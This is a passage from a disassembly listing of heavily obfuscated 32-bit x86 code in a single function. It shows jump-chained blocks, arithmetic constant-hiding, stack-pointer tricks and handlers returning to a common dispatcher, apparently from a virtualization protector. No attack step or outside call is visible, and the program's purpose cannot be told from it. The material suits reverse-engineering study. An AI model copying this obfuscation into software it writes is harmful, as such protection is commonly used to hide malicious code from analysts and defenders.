		pop	esi
		add	edx, ecx
		jmp	loc_59AD26
; ---------------------------------------------------------------------------


loc_595B24:				; CODE XREF: sub_58A891+D73Cj
		push	ecx
		mov	ecx, 5A992C5Bh
		xor	ecx, 57506D49h
		xor	ecx, 4C545719h
		xor	ecx, 34346533h
		jmp	loc_58EA24
; ---------------------------------------------------------------------------


loc_595B41:				; CODE XREF: sub_58A891+9FABj
		add	esi, ecx
		mov	ecx, [esp+3Ch+var_3C]
		jmp	loc_595B78
; ---------------------------------------------------------------------------


loc_595B4B:				; CODE XREF: sub_58A891+5146j
		xor	eax, 32180247h
		jmp	loc_599A92
; ---------------------------------------------------------------------------


loc_595B55:				; CODE XREF: sub_58A891+EDB3j
		pop	esi
		mov	esi, edx
		pop	edx
		shr	esi, 5
		jmp	loc_59239C
; ---------------------------------------------------------------------------


loc_595B61:				; CODE XREF: sub_58A891+63A8j
		push	[esp+12h+var_10+2]
		mov	edi, [esp+16h+var_18+2]
		jmp	loc_59681D
; ---------------------------------------------------------------------------


loc_595B6D:				; CODE XREF: sub_58A891+DF8Fj
		add	ebp, 4
		jmp	loc_5948A3
; ---------------------------------------------------------------------------


loc_595B78:				; CODE XREF: sub_58A891+B2B5j
		add	esp, 4
		xchg	esi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		mov	ax, word ptr [esp+38h+var_38]
		push	620Eh
		jmp	loc_592999
; ---------------------------------------------------------------------------


loc_595B8F:				; CODE XREF: sub_58A891+4780j
		sub	esp, 4
		jmp	loc_595A47
; ---------------------------------------------------------------------------


loc_595B97:				; CODE XREF: sub_58A891+FA23j
		or	edx, 1E9C6F1Dh
		neg	edx
		and	edx, 6C332231h
		xor	edx, 0B73E10ADh
		jmp	loc_591936
; ---------------------------------------------------------------------------


loc_595BB0:				; CODE XREF: sub_58A891+9E2Fj
		add	edx, edi
		jmp	loc_5906CD
; ---------------------------------------------------------------------------


loc_595BB7:				; CODE XREF: sub_58A891+10ACFj
		neg	esi
		add	esi, 0FFFFFFFFh
		push	5E4Ah
		mov	[esp+0], eax
		jmp	loc_59B38D
; ---------------------------------------------------------------------------


loc_595BCC:				; CODE XREF: sub_58A891+BD2Bj
		add	eax, 1
		xor	eax, 7F0895B8h
		xor	esi, eax
		pop	eax
		jmp	loc_5986B1
; ---------------------------------------------------------------------------


loc_595BDE:				; CODE XREF: sub_58A891+DB19j
		xor	ebx, [esp+4Ch+var_4E+2]
		mov	esp, [esp+4Ch+var_4E+2]
		btc	word ptr [esp+4Ch+var_4E+2], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595BEF:				; DATA XREF: sub_58A891+3AF3o
		mov	edx, [esp+8+var_8]
		sub	esp, 4
		jmp	loc_592538
; ---------------------------------------------------------------------------


loc_595BFD:				; CODE XREF: sub_58A891+CEC9j
		sub	eax, 63881456h
		sub	eax, esi
		add	eax, 63881456h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	3E05h
		mov	[esp+0Ch+var_C], ebp
		push	ebp
		jmp	loc_592CA4
; ---------------------------------------------------------------------------


loc_595C1D:				; CODE XREF: sub_58A891+5733j
		mov	dh, 0BEh
		sub	bl, dh
		pop	dx
		mov	ecx, [esp+46h+var_46]
		jmp	loc_599E70
; ---------------------------------------------------------------------------


loc_595C2B:				; CODE XREF: sub_58A891+F411j
		add	ebx, 4
		push	2CAFh
		mov	[esp+4Ah+var_4A], ebx
		push	[esp+4Ah+var_46]
		pop	ebx
		pop	[esp+4Ah+var_4A]
		pop	esp
		dec	dword ptr [esp+0]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595C48:				; CODE XREF: sub_58A891+A14Ej
		push	ebp
		jmp	loc_58F6EE
; ---------------------------------------------------------------------------


loc_595C4E:				; CODE XREF: sub_58A891+8D7Dj
		mov	ecx, [esp+0Ah+var_C+2]
		jmp	loc_5940BC
; ---------------------------------------------------------------------------


loc_595C56:				; CODE XREF: sub_58A891:loc_58E6ABj
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		jmp	loc_591AF0
; ---------------------------------------------------------------------------


loc_595C61:				; CODE XREF: sub_58A891+D6B2j
		pop	esp
		push	0EA0h
		mov	[esp+4Ch+var_4E+2], ebp
		push	esi
		jmp	loc_590A8C
; ---------------------------------------------------------------------------


loc_595C70:				; CODE XREF: sub_58A891+D2ABj
		jp	loc_5953CF
		jmp	loc_59B2B1
; ---------------------------------------------------------------------------


loc_595C7B:				; CODE XREF: sub_58A891+CA5Dj
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		push	ecx
		mov	ecx, 6C2A73F6h
		and	ecx, 7FD32362h
		neg	ecx
		sub	ecx, 1FCF4906h
		add	ecx, 838D6F6h
		jmp	loc_59A594
; ---------------------------------------------------------------------------


loc_595CA6:				; CODE XREF: sub_58A891+84CDj
					; sub_58A891+A8F7j
		pop	edi
		jmp	loc_58EA9F
; ---------------------------------------------------------------------------


loc_595CAC:				; DATA XREF: sub_58A891+3BE3o
		pop	dword ptr [edi+40h]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595CB4:				; CODE XREF: sub_58A891+9D88j
		jnp	loc_598EDC
		push	ebx
		mov	ebx, 0F0609028h
		add	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp


loc_595CC6:				; CODE XREF: sub_58A891+590Ej
					; sub_58A891+10D91j
		add	dh, 64h
		jmp	loc_592118
; ---------------------------------------------------------------------------


loc_595CCE:				; CODE XREF: sub_58A891+7338j
		xchg	ecx, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_40], edi
		push	ebp
		mov	ebp, 4C873091h
		xor	ebp, 7C605EC0h
		jmp	loc_59049F
; ---------------------------------------------------------------------------


loc_595CE6:				; CODE XREF: sub_58A891+9DE2j
		xor	eax, 0A1C3862Dh
		jmp	loc_59A5C6
; ---------------------------------------------------------------------------


loc_595CF0:				; CODE XREF: sub_58A891+6287j
		add	ebp, ebx
		push	[esp+18h+var_18]
		pop	ebx
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp+14h+var_14]
		jmp	loc_592160
; ---------------------------------------------------------------------------


loc_595D0A:				; CODE XREF: sub_58A891+C38Dj
		mov	esi, 34864D37h
		shl	esi, 4
		sub	esi, 4E7A3457h
		or	esi, 29D42A2h
		jmp	loc_599EE9
; ---------------------------------------------------------------------------


loc_595D23:				; CODE XREF: sub_58A891+104D8j
		sub	edi, 1C89D02Eh
		add	esi, edi
		pop	edi
		xchg	esi, [esp+10h+var_10]
		pop	esp
		jmp	loc_58F51A
; ---------------------------------------------------------------------------


loc_595D35:				; CODE XREF: sub_58A891:loc_590627j
		neg	ebp
		jmp	loc_597AE3
; ---------------------------------------------------------------------------


loc_595D3C:				; CODE XREF: sub_58A891+9BB7j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 2
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0]
		pop	esp
		xor	[esp+0], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595D5A:				; DATA XREF: sub_58A891+39DBo
		lodsb
		xor	al, bl
		push	ecx
		push	esp
		jmp	loc_58ECC6
; ---------------------------------------------------------------------------


loc_595D64:				; CODE XREF: sub_58A891+449Aj
		mov	eax, [esp+8+var_8]
		add	esp, 4
		and	[edi+1Ch], esi
		mov	esi, [esp+4+var_4]
		jmp	loc_593806
; ---------------------------------------------------------------------------


loc_595D75:				; CODE XREF: sub_58A891+9DB2j
		add	esp, 4
		pop	[esp+14h+var_14]
		jmp	loc_591A59
; ---------------------------------------------------------------------------


loc_595D80:				; CODE XREF: sub_58A891+93D2j
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		mov	eax, edx
		push	[esp+40h+var_40]
		push	[esp+44h+var_46+2]
		pop	edx
		jmp	loc_594EE2
; ---------------------------------------------------------------------------


loc_595D93:				; CODE XREF: sub_58A891+70EFj
		add	si, 0EB65h
		jmp	loc_599128
; ---------------------------------------------------------------------------


loc_595D9D:				; CODE XREF: sub_58A891+7D83j
					; sub_58A891:loc_5954EDj
		mov	dl, 9Dh
		jmp	loc_592BF0
; ---------------------------------------------------------------------------


loc_595DA4:				; CODE XREF: sub_58A891+BA68j
		sub	ebp, edx
		pop	edx
		jmp	loc_5979F7
; ---------------------------------------------------------------------------


loc_595DAC:				; CODE XREF: sub_58A891+D493j
		mov	[esp+48h+var_4A+2], ecx
		jmp	loc_598DC6
; ---------------------------------------------------------------------------


loc_595DB4:				; CODE XREF: sub_58A891:loc_595597j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_594458
; ---------------------------------------------------------------------------


loc_595DC5:				; CODE XREF: sub_58A891+A96Ej
		pop	[esp+4Ch+var_4E+2]
		jmp	loc_590686
; ---------------------------------------------------------------------------


loc_595DCD:				; CODE XREF: sub_58A891+48A7j
		push	ebp
		mov	ebp, 515371B6h
		sub	ebp, 4A806BF7h
		jg	loc_595AC3
		push	ebx
		jmp	loc_592003
; ---------------------------------------------------------------------------
		lodsb
		push	627Fh


loc_595DEB:				; CODE XREF: sub_58A891+6B84j
		sub	edi, 0E6AACFBEh
		push	edi
		mov	edi, 3477822h
		mov	eax, 59184B41h
		xor	eax, edi
		jmp	loc_596025
; ---------------------------------------------------------------------------


loc_595E03:				; CODE XREF: sub_58A891+804Fj
		push	ecx
		mov	ecx, 186A13B2h
		sub	esi, ecx
		pop	ecx
		add	esi, ebp
		add	esi, 186A13B2h
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_593EDB
; ---------------------------------------------------------------------------


loc_595E28:				; CODE XREF: sub_58A891+538Fj
		and	bh, ah
		pop	eax
		push	small 1EE1h
		mov	word ptr [esp+4Ah+var_4A], dx
		mov	dl, 0DAh
		xor	bh, dl
		jmp	loc_59A3DE
; ---------------------------------------------------------------------------


loc_595E3C:				; CODE XREF: sub_58A891+A8F1j
		jmp	loc_59327A
; ---------------------------------------------------------------------------


loc_595E41:				; CODE XREF: sub_58A891+CDADj
		mov	[esp+0], ecx
		jmp	loc_59042E
; ---------------------------------------------------------------------------


loc_595E49:				; CODE XREF: sub_58A891+4EE0j
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_594BFC
; ---------------------------------------------------------------------------


loc_595E52:				; CODE XREF: sub_58A891+7A12j
		add	esi, 15D74D50h
		push	ebp
		mov	ebp, 2ADD6C35h
		jmp	loc_5928A8
; ---------------------------------------------------------------------------


loc_595E63:				; CODE XREF: sub_58A891+94E7j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------
byte_595E6F	db 68h			; DATA XREF: sub_58A891+3AC7o
		dd 764Eh, 0FFB6AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595E79:				; CODE XREF: sub_58A891+AA5Aj
		mov	ecx, 4B782A73h
		shr	ecx, 3
		sub	ecx, 9416BBDDh
		and	edx, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_597667
; ---------------------------------------------------------------------------


loc_595E97:				; CODE XREF: sub_58A891+EC1Cj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595E9C:				; CODE XREF: sub_58A891+C7AAj
		add	ah, 3Ch
		mov	dh, ah
		pop	eax
		jmp	loc_58FE3B
; ---------------------------------------------------------------------------


loc_595EA7:				; CODE XREF: sub_58A891+41BDj
		pop	edi
		not	eax
		neg	eax
		sub	esp, 4
		mov	[esp+58h+var_58], ebp
		mov	ebp, 5B54781Bh
		add	ebp, 0DDBEFF3Dh
		add	eax, ebp
		mov	ebp, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_59A6EE
; ---------------------------------------------------------------------------


loc_595ED0:				; CODE XREF: sub_58A891+11018j
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5980DF
; ---------------------------------------------------------------------------


loc_595EE1:				; CODE XREF: sub_58A891+10624j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_595734
; ---------------------------------------------------------------------------


loc_595EF2:				; CODE XREF: sub_58A891+9BC8j
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_5948F8
; ---------------------------------------------------------------------------


loc_595EFA:				; CODE XREF: sub_58A891+C03Cj
		pop	[esp+3Ch+var_3C]
		pop	esp
		mul	ecx
		push	edi
		mov	edi, esp
		jmp	loc_59AE4F
; ---------------------------------------------------------------------------


loc_595F08:				; CODE XREF: sub_58A891+64EFj
		mov	esi, 42522B60h
		add	ebx, esi
		pop	esi
		jmp	loc_58F62E
; ---------------------------------------------------------------------------


loc_595F15:				; CODE XREF: sub_58A891+AC2Fj
		pop	ebx
		jmp	loc_58F325
; ---------------------------------------------------------------------------


loc_595F1B:				; CODE XREF: sub_58A891+AFEAj
		not	dl
		inc	dl
		xor	dl, 89h
		sub	al, dl
		pop	edx
		push	dx
		push	691Bh
		mov	[esp+2Eh+var_30+2], ebx
		mov	bl, 9
		shl	bl, 6
		xor	bl, 0C1h
		jmp	loc_596C05
; ---------------------------------------------------------------------------


loc_595F3C:				; CODE XREF: sub_58A891+8147j
		sub	[esp+28h+var_28], 22EE5B53h
		pop	edx
		push	eax
		mov	eax, 254157B2h
		xor	eax, 2FF81C97h
		neg	eax
		jmp	loc_593C72
; ---------------------------------------------------------------------------


loc_595F56:				; CODE XREF: sub_58A891+8AB0j
		xchg	eax, [esp+38h+var_38]
		pop	esp
		mov	ax, word ptr [esp+34h+var_34]
		push	2687h
		mov	[esp+38h+var_38], eax
		push	esp
		pop	eax
		jmp	loc_598414
; ---------------------------------------------------------------------------


loc_595F6D:				; CODE XREF: sub_58A891+EEE6j
		sub	[esp+38h+var_38], 4CBD216Bh
		push	[esp+38h+var_38]
		pop	eax
		jmp	loc_592F85
; ---------------------------------------------------------------------------


loc_595F7D:				; CODE XREF: sub_58A891+D0A3j
		pop	ebp
		push	ebx
		mov	ebx, 3A717396h
		push	edi
		mov	edi, 66023F21h
		push	esi
		mov	esi, 10F15487h
		inc	esi
		jmp	loc_5993BA
; ---------------------------------------------------------------------------


loc_595F96:				; CODE XREF: sub_58A891+D87Aj
		shr	esi, 8
		inc	esi
		push	edx
		jmp	loc_598883
; ---------------------------------------------------------------------------


loc_595FA0:				; CODE XREF: sub_58A891+A725j
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		and	eax, ecx
		mov	ecx, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_593613
; ---------------------------------------------------------------------------


loc_595FC3:				; CODE XREF: sub_58A891+E380j
		sub	bl, 0E5h
		add	bl, 62h
		jmp	loc_593546
; ---------------------------------------------------------------------------


loc_595FCE:				; CODE XREF: sub_58A891+4920j
		dec	esi
		jmp	loc_595A29
; ---------------------------------------------------------------------------


loc_595FD4:				; DATA XREF: sub_58A891+3B13o
		push	[esp+8+var_8]
		pop	edx
		push	esi
		mov	esi, esp
		push	esi
		jmp	loc_58FDC4
; ---------------------------------------------------------------------------


loc_595FE1:				; CODE XREF: sub_58A891+A7BEj
					; sub_58A891+B7A4j
		mov	[esp+6Ah+var_6C+2], ecx
		mov	cl, 4Ah
		mov	bh, 9Dh
		add	bh, 31h
		add	bh, cl
		jmp	loc_58F58D
; ---------------------------------------------------------------------------


loc_595FF2:				; CODE XREF: sub_58A891+8ADBj
		push	eax
		mov	eax, 9CA2C29h
		and	eax, 22DB0BD2h
		ja	loc_59A6DC
		jmp	loc_59774D
; ---------------------------------------------------------------------------
		jmp	loc_5989D9
; ---------------------------------------------------------------------------


loc_59600D:				; CODE XREF: sub_58A891+CB0Fj
		push	edi
		push	esi
		mov	esi, 2B0D1A10h
		jmp	loc_59B0AE
; ---------------------------------------------------------------------------
		align 2
		rcr	byte ptr [edx+0], 1
		fsubr	dword ptr [edi+ecx*8]
		jmp	loc_598517
; ---------------------------------------------------------------------------


loc_596025:				; CODE XREF: sub_58A891:loc_591985j
					; sub_58A891+9C8Aj ...
		dec	al
		jno	loc_5968AE
		inc	al
		jns	loc_597DE3
		jmp	loc_595FE1
; ---------------------------------------------------------------------------


loc_59603A:				; CODE XREF: sub_58A891+41CEj
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	7E51h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	edx
		push	edi
		push	ebp
		mov	ebp, 3836733h
		jmp	loc_591244
; ---------------------------------------------------------------------------


loc_59605C:				; CODE XREF: sub_58A891+7EA0j
		push	edi
		mov	edi, 35B92EE6h
		xor	edi, 60D66319h
		jmp	loc_59A4CB
; ---------------------------------------------------------------------------


loc_59606D:				; CODE XREF: sub_58A891+9606j
					; sub_58A891+E8D8j
		push	ecx
		push	2C42h
		mov	[esp-10h+arg_8], eax
		mov	eax, 1D5B761Bh
		or	eax, 53907AAh
		shr	eax, 1
		add	eax, 12F24810h
		jmp	loc_58EA76
; ---------------------------------------------------------------------------


loc_59608C:				; CODE XREF: sub_58A891:loc_59A8F0j
		xor	ecx, 7F159715h
		mov	ebx, ecx
		pop	ecx
		sub	[edi+24h], ebx
		mov	ebx, [esp+0]
		add	esp, 4


loc_5960A1:				; CODE XREF: sub_58A891+F0ADj
		push	2A85h
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		mov	eax, [esp-10h+arg_8]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59B084
; ---------------------------------------------------------------------------


loc_5960BD:				; CODE XREF: sub_58A891+D7C7j
					; sub_58A891+EBABj
		inc	eax
		add	eax, 6AB55AF2h
		jmp	loc_5930DE
; ---------------------------------------------------------------------------


loc_5960C8:				; CODE XREF: sub_58A891+AAA3j
		inc	bl
		sub	bl, 46h
		xor	bl, 93h
		add	bl, 0CDh
		add	al, bl
		pop	ebx
		push	0F6Ch
		mov	[esp+0], ecx
		sub	esp, 4
		jmp	loc_591894
; ---------------------------------------------------------------------------


loc_5960E9:				; CODE XREF: sub_58A891+10071j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp+4+var_4]
		jmp	loc_593A21
; ---------------------------------------------------------------------------


loc_59610C:				; CODE XREF: sub_58A891+536Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4Ch+var_4E+2]
		pop	esp
		mov	[esp+48h+var_4A+2], ecx
		push	ebx
		push	73A85BFFh
		jmp	loc_599D0B
; ---------------------------------------------------------------------------


loc_59612D:				; CODE XREF: sub_58A891+4861j
		sub	eax, 7C631355h
		not	eax
		jmp	loc_594F21
; ---------------------------------------------------------------------------


loc_596139:				; CODE XREF: sub_58A891+D937j
		add	edx, 771A259Bh
		jmp	loc_5924B8
; ---------------------------------------------------------------------------


loc_596144:				; CODE XREF: sub_58A891+4934j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_59A504
; ---------------------------------------------------------------------------


loc_596151:				; CODE XREF: sub_58A891+C3C5j
		push	[esp+1Ch+var_18]
		push	[esp+20h+var_20]
		mov	edi, [esp+24h+var_24]
		add	esp, 4
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		jmp	loc_594E60
; ---------------------------------------------------------------------------


loc_59616F:				; CODE XREF: sub_58A891+5D04j
					; sub_58A891+C95Aj
		sub	eax, 4
		jmp	loc_59BA9B
; ---------------------------------------------------------------------------


loc_596177:				; CODE XREF: sub_58A891+6BE7j
		mov	eax, ebx
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		add	edi, eax
		jmp	loc_598627
; ---------------------------------------------------------------------------


loc_59618C:				; CODE XREF: sub_58A891+840Ej
		pop	ebx
		sub	[esp+4+var_4], eax
		push	ebx
		push	edi
		mov	edi, 28A301B7h
		mov	ebx, 2BE350F1h
		add	ebx, 757A6701h
		jmp	loc_59AD3A
; ---------------------------------------------------------------------------


loc_5961A7:				; CODE XREF: sub_58A891+10CC7j
		add	ax, 84C6h
		mov	bx, ax
		pop	eax
		push	eax
		mov	ax, 735Ah
		xor	ax, dx
		xor	dx, ax
		xor	ax, dx
		not	dx
		xchg	ax, dx
		xor	ax, 6F52h
		jmp	loc_58E926
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0Ch+var_C]
		jmp	loc_59988F
; ---------------------------------------------------------------------------


loc_5961D4:				; CODE XREF: sub_58A891+A6A5j
		mov	ebx, 47241D4Fh
		jmp	loc_59A5F7
; ---------------------------------------------------------------------------


loc_5961DE:				; CODE XREF: sub_58A891+E232j
		pop	ebp
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edi
		push	2F2431A9h
		jmp	loc_59BABE
; ---------------------------------------------------------------------------


loc_5961EF:				; CODE XREF: sub_58A891+7B9Ej
		push	edi
		jmp	loc_5981DC
; ---------------------------------------------------------------------------


loc_5961F5:				; CODE XREF: sub_58A891+F950j
		mov	esp, [esp+3Ch+var_3C]
		movsx	cx, al
		sub	esp, 4
		jmp	loc_590207
; ---------------------------------------------------------------------------


loc_596204:				; CODE XREF: sub_58A891+E563j
		mov	cl, 92h
		sub	cl, 48h
		add	bl, cl
		pop	ecx
		and	ch, bl
		jmp	loc_5983C3
; ---------------------------------------------------------------------------


loc_596213:				; CODE XREF: sub_58A891+4F68j
					; sub_58A891+CCA8j
		mov	dh, bl
		pop	ebx
		mov	[ecx], dh
		push	[esp+8+var_8]
		pop	edx
		push	ecx
		jmp	loc_59433C
; ---------------------------------------------------------------------------


loc_596222:				; CODE XREF: sub_58A891+CD5Dj
		xor	cl, dh
		pop	edx
		sub	dh, cl
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	cl, dh
		pop	edx
		add	al, cl
		pop	ecx
		push	35E4h
		jmp	loc_599C1E
; ---------------------------------------------------------------------------


loc_59623D:				; CODE XREF: sub_58A891+DB55j
		add	eax, edi
		pop	edi
		mov	edi, [esp+0]
		add	esp, 4
		push	ebp
		jmp	loc_591F94
; ---------------------------------------------------------------------------


loc_59624C:				; DATA XREF: sub_58A891+3A1Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59625B:				; CODE XREF: sub_58A891+7D28j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_592523
; ---------------------------------------------------------------------------


loc_596269:				; CODE XREF: sub_58A891+C01Fj
		jmp	loc_597C0A
; ---------------------------------------------------------------------------


loc_59626E:				; CODE XREF: sub_58A891+CD83j
		push	esi
		jmp	loc_59A155
; ---------------------------------------------------------------------------


loc_596274:				; CODE XREF: sub_58A891+AAB9j
		push	esi
		mov	esi, 17C240CAh
		push	ecx
		push	42513C15h
		pop	ecx
		push	0
		sub	[esp+4Ch+var_4E+2], 26451C8h
		sub	[esp+4Ch+var_4E+2], ecx
		add	[esp+4Ch+var_4E+2], 26451C8h
		pop	ecx
		sub	ecx, 6595484Bh
		dec	ecx
		xor	ecx, 9022BCEDh
		jmp	loc_58F273
; ---------------------------------------------------------------------------


loc_5962AA:				; CODE XREF: sub_58A891+475Cj
					; sub_58A891+F3EFj
		mov	[esp+40h+var_40], esi
		push	esp
		pop	esi
		push	edi
		push	4947h
		mov	[esp+48h+var_4A+2], edx
		mov	edx, 373D2A2Eh
		add	edx, 0C8C2D5D6h
		mov	edi, edx
		pop	edx
		sub	esi, 202D2F8Bh
		add	esi, edi
		jmp	loc_59AA5E
; ---------------------------------------------------------------------------


loc_5962D3:				; CODE XREF: sub_58A891+10F36j
		add	ebx, esi
		sub	ebx, 0D9346A0h
		pop	esi
		xchg	ebx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		xchg	edx, [esp+40h+var_40]
		pop	esp
		imul	cx
		jmp	loc_598873
; ---------------------------------------------------------------------------


loc_5962EE:				; CODE XREF: sub_58A891+5518j
		push	edx
		mov	edx, 2FED7A6Dh
		mov	ebp, 2FED7A6Fh
		jmp	loc_595DA4
; ---------------------------------------------------------------------------


loc_5962FE:				; CODE XREF: sub_58A891+E802j
		add	edx, ebx
		jmp	loc_59734D
; ---------------------------------------------------------------------------


loc_596305:				; CODE XREF: sub_58A891+927Aj
		pop	ebx
		push	edx
		jmp	loc_595363
; ---------------------------------------------------------------------------


loc_59630C:				; CODE XREF: sub_58A891+5FD7j
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 100h
		and	eax, ebx
		mov	ebx, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_599547
; ---------------------------------------------------------------------------


loc_596328:				; CODE XREF: sub_58A891+AAB3j
		mov	esi, 5A887A55h
		sub	ebp, esi
		pop	esi
		jmp	loc_595ABC
; ---------------------------------------------------------------------------


loc_596335:				; CODE XREF: sub_58A891+CD20j
		add	ebx, edi
		sub	ebx, 658D6D54h
		push	62C9h
		jmp	loc_59AE95
; ---------------------------------------------------------------------------


loc_596347:				; CODE XREF: sub_58A891+646Fj
		add	eax, 24383DE5h
		push	edi
		mov	edi, 4A97661Ah
		add	eax, edi
		jmp	loc_590714
; ---------------------------------------------------------------------------


loc_596359:				; CODE XREF: sub_58A891+9989j
					; sub_58A891+C6FDj
		xor	edx, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edx
		jmp	loc_592F8D
; ---------------------------------------------------------------------------


loc_596364:				; CODE XREF: sub_58A891+9F15j
		pop	edi
		push	31C5h
		mov	[esp+54h+var_54], ebx
		mov	ebx, 4
		sub	edi, 464E786Bh
		jmp	loc_592D11
; ---------------------------------------------------------------------------


loc_59637D:				; CODE XREF: sub_58A891+6EF9j
		sub	edi, edx
		pop	edx
		add	edi, 389F00FFh
		add	edi, eax
		sub	edi, 389F00FFh
		push	esi
		mov	esi, 6BA60549h
		xor	esi, 53F6C89h
		jmp	loc_597E47
; ---------------------------------------------------------------------------


loc_59639F:				; CODE XREF: sub_58A891+A5CAj
		mov	ecx, 5FE83AEBh
		jmp	loc_591F86
; ---------------------------------------------------------------------------


loc_5963A9:				; CODE XREF: sub_58A891+9803j
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 378D4217h
		not	edi
		shr	edi, 2
		add	edi, 5B216F58h
		jmp	loc_597D0E
; ---------------------------------------------------------------------------


loc_5963C7:				; CODE XREF: sub_58A891+50B5j
					; sub_58A891+10078j ...
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		jmp	loc_593582
; ---------------------------------------------------------------------------


loc_5963D4:				; CODE XREF: sub_58A891+82B2j
		add	edx, eax
		sub	esp, 4
		mov	[esp-8+arg_0], esi
		push	5B6877F7h
		pop	esi
		sub	edx, 53641416h
		jmp	loc_598FE6
; ---------------------------------------------------------------------------


loc_5963ED:				; CODE XREF: sub_58A891+D241j
		mov	ecx, 64CC6243h
		dec	ecx
		shl	ecx, 5
		shr	ecx, 7
		jmp	loc_59ADBB
; ---------------------------------------------------------------------------


loc_5963FE:				; CODE XREF: sub_58A891+4463j
		mov	[esp+0], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_58FDAE
; ---------------------------------------------------------------------------


loc_59640E:				; CODE XREF: sub_58A891+E462j
		mov	edx, 5AE94B6Ch
		and	edx, 99A666Dh
		jo	loc_597B57
		sub	edx, 90C196Ch
		js	loc_5904E6
		push	45E8h
		mov	[esp+8+var_8], eax
		mov	bh, 5Bh
		push	ebp


loc_596437:				; DATA XREF: sub_58A891+3A3Fo
		mov	ax, word ptr [esp+0Ch+var_C]
		push	ebp
		jmp	loc_59B181
; ---------------------------------------------------------------------------


loc_596441:				; CODE XREF: sub_58A891+8D5Fj
		push	edx
		mov	edx, 421540FFh
		neg	edx
		dec	edx
		jmp	loc_595611
; ---------------------------------------------------------------------------


loc_59644F:				; CODE XREF: sub_58A891+F665j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+48h+var_4A+2]
		jmp	loc_59B9AB
; ---------------------------------------------------------------------------


loc_59645F:				; CODE XREF: sub_58A891+71ECj
		add	bl, dl
		sub	bl, 7Ah
		add	bl, 25h
		pop	dx
		add	bl, al
		push	7DC8h
		jmp	loc_59BA03
; ---------------------------------------------------------------------------


loc_596475:				; CODE XREF: sub_58A891+DEFFj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-0Ah+arg_0+2]
		pop	esp
		mov	[esp-0Eh+arg_4+2], edi
		mov	edi, 421F040Ch
		neg	edi
		not	edi
		jmp	loc_596790
; ---------------------------------------------------------------------------


loc_596493:				; CODE XREF: sub_58A891+3D7Fj
					; sub_58A891+6D68j
		add	ebp, 79DE745Dh
		jmp	loc_59925B
; ---------------------------------------------------------------------------


loc_59649E:				; CODE XREF: sub_58A891+3CDEj
		xor	eax, 47DC465Bh
		sub	eax, 0DCD82B4Eh
		xor	edx, eax
		pop	eax
		xor	eax, edx
		mov	edx, [esp+3Ch+var_3C]
		push	4796h
		mov	[esp+40h+var_40], esi
		mov	esi, esp
		jmp	loc_59926E
; ---------------------------------------------------------------------------


loc_5964BF:				; CODE XREF: sub_58A891+A82Aj
		push	3FF7h
		mov	[esp+44h+var_46+2], ebp
		push	ecx
		jmp	loc_5945FE
; ---------------------------------------------------------------------------


loc_5964CD:				; CODE XREF: sub_58A891+BC51j
		add	esp, 4
